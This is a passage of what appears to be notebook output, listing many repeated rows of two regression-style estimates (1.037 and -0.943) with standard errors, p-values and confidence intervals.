1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 [0.949, 1.124]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " -0.943 0.045 0.000 [-1.030, -0.858]\n", " 1.037 0.046 0.000 